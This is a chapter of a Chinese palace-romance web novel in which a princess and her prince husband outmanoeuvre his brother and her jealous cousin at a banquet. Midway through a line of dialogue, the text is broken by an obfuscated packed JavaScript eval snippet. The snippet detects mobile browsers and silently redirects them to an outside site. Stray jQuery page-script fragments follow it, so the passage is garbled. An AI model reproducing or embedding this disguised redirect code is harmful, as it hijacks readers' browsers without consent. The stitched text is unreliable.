13. 心疼
    止烟笑得眉眼弯弯:“是呀,如今表姐来了,止烟一定会好好招待你的。”

    ‘招待你’三个字她咬得极重。

    冯幼惜唇角冷冷勾起:“那就有劳表妹了。”

    “王爷。”她转头去看晏倚,不想他的眼神却落在止烟身上,那眼神是从未在她身上出现过的。

    男人的兴趣、迷恋以及征服欲。

    晏倚只见过止烟一次,便是她毁容的那次,他绝对不会允许这样的女人做她的王妃,只是没想到她容貌恢复后,竟然会如此美。

    男人最懂男人,晏修眼睛危险一眯,揽住止烟的腰:“青州不比京城,也没有驿站,二皇兄便住在刺史府吧。”

    “五皇弟是东道主,自然是听五皇弟的。”晏倚依旧舍不得把眼神从止烟身上移开。

    止烟对他的眼神很是厌恶,当着自己妻子的面对弟弟的妻子有如此露骨的眼神,简直是个没有人伦的畜生!

    “请。”晏修道。

    一行人前往刺史府,止烟低声对晏修道:“好恶心,好想把他的眼睛刺瞎。”

    晏修失笑,凑近她耳边道:“别把他弄死就行,不然本王可不好向父皇交代。”

    “当真?”

    “嗯,出什么事有本王担着,别怕。”

    “那我可就不客气了。”止烟下巴微抬,像只傲娇的小猫。

    两人的举动在旁人看来便是夫妻间说体己话,亲密无间恩爱非常。

    冯幼惜藏在袖中的红丹蔻陷入手掌心中,一双淬毒的眼眸恨不得现在就毒死止烟。

    她是冯家嫡女,要什么有什么,凭什么他们的眼神都在赢止嫣的身上!

    刺史府中,众人依次落座,可当晏倚一行人看到上来的菜时,表情五颜六色跑了一遍。

    “五皇弟,这是……”

    “二皇兄勿怪,青州干旱多时,能充饥的只有这些米粥和青菜,这些日子,要委屈二皇兄了。”

    晏修说得极为真诚,真诚到止烟差点忍不住笑,这就开始报复了呢。

    “你去蒙虏买猪羊之事众人都知,五皇弟如此做,莫不是在怪皇兄一直不同意你修水渠,与我为难?”晏倚有些不悦道。

    “二皇兄怎会如此想皇弟,那些猪羊早已分给将士和百姓了,皇兄不知道青州的情况如此想本王在所难免,不过这就是青州的现状。

    若是早些修水渠,皇兄此次来,定是有肉吃的。”晏修气死人不偿命道。

    这么一大串话,翻译过来就是——你自作自受。

    晏倚哼笑一声道:“好在青州之难本王已知,想来诸位也许久没舒舒服服的吃一顿好的了,来人,把本王带来的好酒好菜都端上来。”

    尼玛,真全是老狐狸,这不仅是在打晏修的脸,还想收买人心。

    晏修若是同意了,便是承认自己不如晏倚,可若是不同意,便是小肚鸡肠,压榨剥削任上的官员,连顿好的都不同意吃。

    朝堂上的弯弯绕绕体现在方方面面,不比打仗攻城容易,对于这点,止烟前世就有所体会。

    她在战场上是战无不胜的大将军,攻城略地没人比她更厉害,可在朝堂这没有硝烟的战场上,她从未赢过。

    “被他摆了一道!”

    晏修低声笑道:“这样就无能为力了?”

    “若论有些论吃穿用度,咱们不是比不过他,不比咽不下这口气,比的话,不就是在说你刚才就是在为难他嘛。”止烟恨恨的,很不服气。

    “是吗?谁说只有比和不比两个答案?”

    止烟抬眸看他:“还有其他法子??”

    晏修回了她一个高深莫测的眼神。

    好酒好菜上上来,他对官员道:“晋王有心,大家好好享用便是。”

    “谢晏王殿下,谢晋王殿下。”

    晏倚的神色终是愉悦了些,便听晏修道:“皇兄,不知这些酒菜的费用可是出自国库?”

    “皇弟说的哪的话,国库岂是本王随随便便动用的,这些支出皆出自晋王府。”

    晏修点头道:“本王任下的官员确实许久不曾吃得这么好了,皇兄既是奉父皇旨意前来,便给他们好好补补,在皇兄回京城前,都按此规格给他们配餐吧。

    皇兄如此重视官员,父皇知道后,定会好好嘉奖皇兄的。”

    止烟在桌下比了个大拇指,高啊。

    晏倚若是不照做,那就是违背圣旨,这可是不小的罪名。

    不过……

    “你就不怕他收买你任下官员的人心啊?”止烟问。

    “他买不走。”

    “为何?”

    “凡三城十四州能排得上号的官员,要么是本王心腹,要么有把柄在本王手里,只要他们不出问题,哪怕是任下之人出问题,对三城十四州也没影响。”晏修解释道。

    止烟恍然大悟,原来如此,这确实是门学问,她需要好好学学。

    她向来会举一反三,“王爷,这样不妥。”

    “哦?何处不妥?”晏修眼底划过一抹满意道。

    “王爷说过,三城十四州,官员百姓当同甘共苦,若是百姓知道各位大人吃得这么好,怕是心里不平衡呢。”

    晏修点头:“王妃此言有理。”

    他看向晏倚道:“那就有劳皇兄,连青州百姓的份也算进去吧,晋王府家大业大,这么点钱定然是付得起的。”

    “那是肯定的,我未出阁前,便听母亲和舅舅说,晋王殿下是天之骄子,是人中龙凤,最是爱民如子,是个很好的王爷。”止烟煞有介事道。

    晏修:“……”

    举一反三过头了。

    虽然知道她是在给晏倚带高帽子,可心里却不怎么高兴,这种奇怪的感觉,他不清楚是什么。

    晏倚被夸得有些飘飘然,尤其是还被止烟夸,他挑衅的看向晏修,似是在说:你的王妃在夸本王,你可真失败。

    男人的胜负欲一旦起来,是收势不住的。

    “那嫣嫣认为,是本王厉害还是皇兄厉害?”

    晏修问完才反应过来自己在问什么,在心中骂自己幼稚,却又还是很期待止烟的回答。

    嫣嫣……

    嘶——

    止烟起了层鸡皮疙瘩,晏修问这个是想干嘛,画蛇添足啊!

    不过晏倚定然是比不过晏修的,不,是都不配比!

    “说句逾矩的话,晋王是我的表哥,在我出阁前,晋王自是最厉害的,不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093236|149281||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过现下我嫁给了王爷,嫁鸡随鸡嫁狗随狗,自然王爷是最厉害的。”

    好好好,一碗水端平。

    她看向晏倚问道:“晋王定然是愿意让青州的百姓吃好喝好的吧?”

    “哈哈哈,这是自然这是自然!”晏修爽快笑道。

    “好耶,美人计成功!”

    “赢止嫣。”

    “嗯?”

    “以后不准用美人计,尤其是对着晏倚。”

    “也就这次,若非要帮你,我看到他都想吐。”止烟低声道。

    晏修这下彻底满意满足了,端起酒杯喝了一口酒。

    “止嫣,你怎能对着两位王爷自称我呢,应当称妾身才是,也是我这个当姐姐的不好,在府里时没有好好的教导你。”冯幼惜开口道。

    止烟用手捂住嘴,面若惊恐:“可是我自嫁过来都是自称我的呀,之前我称过一次妾身,可是王爷心疼我,说不必如此称呼自己。

    不会吧不会吧,不会晋王不心疼你,让表姐你自称妾身吧。”

    “我……”

    冯幼惜咬着嘴唇,一脸委屈的看向晏倚,想让他帮自己说话,可后者觉得自己被晏修比下去了,不耐烦道:“你什么?不说话没人拿你当哑巴!”

    “是,妾身知道了。”

    “本王心疼你?”晏修压低声音,声调却向上扬。

    “哎呀,情势所迫嘛,我刚才也帮你了,这次你帮帮我,打平了嘛。”止烟挥挥手让他别介意道。

    虽是哼了一声,但晏修心情极为舒畅。

    “不过先说好啊,自称妾身这种事,我做不来,是绝对不可能的。”

    “知道。”晏修拖着尾音。

    止烟看不到,但是在坐的所有人都看到了他眼底的宠溺和无奈。

    冯幼惜这回更是恨不得现在就杀了止烟,以消心头之恨。

    晏倚却轻嗤,晏修,等你的王妃什么时候成为本王的女人,你会是什么神情本王可真好奇得很呢。

    酒过三巡,冯幼惜思虑了许久,终是想到了一个计划。

    “止嫣,咱们姐妹未出阁前便经常睡一处,如今好不容易见面,不若今日咱们睡一处,说说体己话?”

    她又看晏修道:“就请晏王借表妹给妾身一晚吧。”

    “不可,本王离了王妃睡不着。”

    晏倚色胆包天,他不可能把赢止嫣留在这里。

    “皇弟,这可就是你不对了,本王知道新婚燕尔,不过人家姐妹难得相见说体己话,一晚上而已,你就先委屈委屈吧。”晏倚对冯幼惜这个提议很是满意。

    “既然表姐这么说了,止烟定然是恭敬不如从命。”

    止烟握住晏修的手道:“王爷,就今晚,让我和表姐说说体己话好不好?”

    “赢止嫣,你是天真还是傻?你知不知道你在这里可能会发生什么?”晏修压低声音在她耳边道。

    这模样在外人看来像极了调情。

    “我知道,放心吧,我不会让自己有事的。”

    “不行!”

    “我是说真的,以前冯幼惜对我百般欺凌,如今我好不容易傍上你这颗大树,不给她一点颜色瞧瞧实在是太对不起我自己了!”